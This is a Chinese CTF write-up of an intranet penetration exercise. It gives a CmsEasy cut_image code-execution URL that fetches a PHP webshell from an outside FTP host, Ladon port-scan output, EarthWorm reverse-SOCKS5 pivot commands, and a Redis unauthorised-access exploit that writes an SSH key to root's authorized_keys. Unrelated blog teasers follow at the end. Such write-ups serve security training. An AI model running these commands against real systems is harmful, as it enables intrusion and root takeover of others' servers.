某CTF内网渗透

题目:www.whalwl.site:8021

目录


cmseasy

简单看一下网站架构

Apache/2.4.7 (Ubuntu)

PHP/5.5.9

CmsEasy版本5_6_0_20160825_UTF8

查找该程序历史漏洞,找到一个高危漏洞 “CmsEasy cut_image 代码执行漏洞

CmsEasy前台无限制GetShell

Getshell的补充说明

POC:

http://www.whalwl.site:8021/index.php?case=tool&act=cut_image
pic=1ftp://221.xxx.xx.xx/payload.php&w=400&h=300&x1=0&x2=400&y1=0&y2=300

点我下载PHP一句话密码a


内网横向渗透

  • 根据flag提示,缺失的第二部分在内网

  • 查看一下内网IP。然后使用Ladon扫描一下内网:

    内网IP:192.168.128.2

  • Ladon扫描C段主机常见开放端口

    给文件加执行权限:

    chmod 777 Ladon64.lnx

    ./Ladon64.lnx 192.168.128.1/24 PortScan >1.txt

LadonGo 3.8 by k8gege
Arch: amd64 OS: linux
Pid: 1540 Process: Ladon64.lnx
Targe: 192.168.128.1/24 ScanStart: 2021-08-19 10:06:18
Load PortScan
192.168.128.3 22 Open SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u8
192.168.128.1 22 Open SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2
192.168.128.2 80 Open HTTP/1.1 400 Bad Request Date: Thu, 19 Aug 2021 14:06:26 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at 192.168.128.2 Port 80</address>
</body></html>
192.168.128.3 6379 Open -ERR wrong number of arguments for 'get' command
Finished: 2021-08-19 10:06:28

发现内网机器192.168.128.3 开放6379端口为Redis服务

  • Redis 未授权访问漏洞

    Redis 默认情况下,会绑定在 0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

  • 我们现在已拿到目标内网一台机器的权限。需要对内网做进一步的渗透,目前我有一台公网的Ubuntu,一台内网的Kali,如何反向Socks5将Kali的流量代理进目标内网

    答案是使用 EarthWorm Frp 等这类软件做反向Socks5代理

我这里使用EarthWorm

在公网的Ubuntu上执行如下命令:

./ew_for_linux64 -s rcsocks -l 10800 -e 10240 &

公网机器监听10800和10240端口

目标机器执行如下命令:

./ew_for_linux64 -s rssocks -d 167.160.188.xx -e 10240

linux通过proxychains设置Socks5代理访问目标内网服务

vi /etc/proxychains.conf

添加:socks5 167.160.188.xx 10800

设置完成后即可使用类似proxychains nmap 192.168.128.1这种方式将nmap的流量代理至目标内网进行扫描,其他命令行工具同理。

windows可以使用Proxifier

现在已经能访问内网机器了,我们就利用Redis 未授权访问漏洞获取目标权限。

Redis未授权访问漏洞复现

Redis未授权访问

安装redis-cli
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/

漏洞利用:

root@kali:~/tmp# ssh-keygen -t rsa
root@kali:~/tmp# cd /root/.ssh/
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
root@kali:~/.ssh# cat /root/.ssh/foo.txt | proxychains redis-cli -h 192.168.128.3 -x set crackit
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-167.160.188.217:10800-<><>-192.168.128.3:6379-<><>-OK
OK
root@kali:~/.ssh# proxychains redis-cli -h 192.168.128.3
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-167.160.188.217:10800-<><>-192.168.128.3:6379-<><>-OK
192.168.128.3:6379> config set dir /root/.ssh/
OK
192.168.128.3:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.128.3:6379> config set dbfilename "authorized_keys"
OK
192.168.128.3:6379> save
OK
192.168.128.3:6379> exit
root@kali:~/.ssh# proxychains ssh -i id_rsa root@192.168.128.3

获取flag

cmseasy&内网渗透 Writeup的更多相关文章

  1. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  2. 内网渗透 关于GPO

    网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...

  3. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

  4. [原创]K8 cping 3.0大型内网渗透扫描工具

    [原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...

  5. [源码]Python简易http服务器(内网渗透大文件传输含下载命令)

    Python简易http服务器源码 import SimpleHTTPServerimport SocketServerimport sysPORT = 80if len(sys.argv) != 2 ...

  6. [原创]K8飞刀20150725 支持SOCKS5代理(内网渗透)

    工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/26 3:41:11 简介: ...

  7. MSF 内网渗透笔记

    进入meterpreter模式 在meterpreter中输入shell即可进入CMD窗口接着即可执行CMD命令,例如打开RDP服务REG ADD HKLM\SYSTEM\CurrentControl ...

  8. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  9. 内网渗透之IPC,远程执行

    开启服务 net start Schedule net start wmiApSrv 关闭防火墙 net stop sharedaccess net use \\目标IP\ipc$ "&qu ...

随机推荐

  1. 跨域解决之JSONP和CORS的详细介绍

    JSONP跨域和CORS跨域 什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名.协议.端口均相同. 浏览器执行Jav ...

  2. SQL 查询并不是从 SELECT 开始的

    原文地址:SQL queries don't start with SELECT 原文作者:Julia Evans(已授权) 译者 & 校正:HelloGitHub-小熊熊 & 卤蛋 ...

  3. 题解 guP1948 【[USACO08JAN]电话线Telephone Lines】

    二分+dij题目 首先读一遍题目,一定要仔细读(不要问我为什么,我就是受害者qwq 你会发现最终的费用是由最长的电话线决定的,而非电话线长度和. 至此就有了一个基本思路--枚举(二分)出可能的最长电话 ...

  4. ES6新增语法(五)——Promise详解

    Promise介绍 promise是一个对象,从它可以获取异步操作的消息.有all.race.reject.resolve这几个方法,原型上有then.catch等方法. Promise的两个特点: ...

  5. Qt Model/view 小实例 文件目录浏览器

    1. 文件目录浏览器 直接在main.cpp文件中添加下列代码 #include "mainwindow.h" #include <QApplication> #inc ...

  6. java面向对象程序设计(下)-接口的定义

    抽象类是从多个类中抽象出来的模板,如果将这种抽象进行得更加彻底,则可以提炼出一种更加特殊的"抽象类"-接口(interface),Java9对接口进行了改进,允许在接口中定义默认方 ...

  7. [刘阳Java]_Spring IOC程序代码如何编写_第3讲

    第2讲我们介绍了Spring IOC的基本原理,这篇文章告诉大家Spring IOC程序代码是如何编写的,从而可以更好的理解IOC和DI的概念(所有的Java类的初始化工作扔给Spring框架,一个J ...

  8. React 之 组件生命周期

    React 之 组件生命周期 理解1) 组件对象从创建到死亡它会经历特定的生命周期阶段2) React组件对象包含一系列的勾子函数(生命周期回调函数), 在生命周期特定时刻回调3) 我们在定义组件时, ...

  9. deepin安装Motrix,cocomusic

    1,motrix(下载工具):https://motrix.app/ 2,cocomusic(开源音乐播放器):https://github.com/xtuJSer/CoCoMusic/release ...

  10. VSCode 如何远程连接其他主机的 WSL2

    VSCode 如何远程连接其他主机的 WSL2 VSCode 的 Remote Deployment 插件对 WSL2 直接提供了支持,能够很方便的连接本机的 WSL2 ,但是并没有提供一个连接远程 ...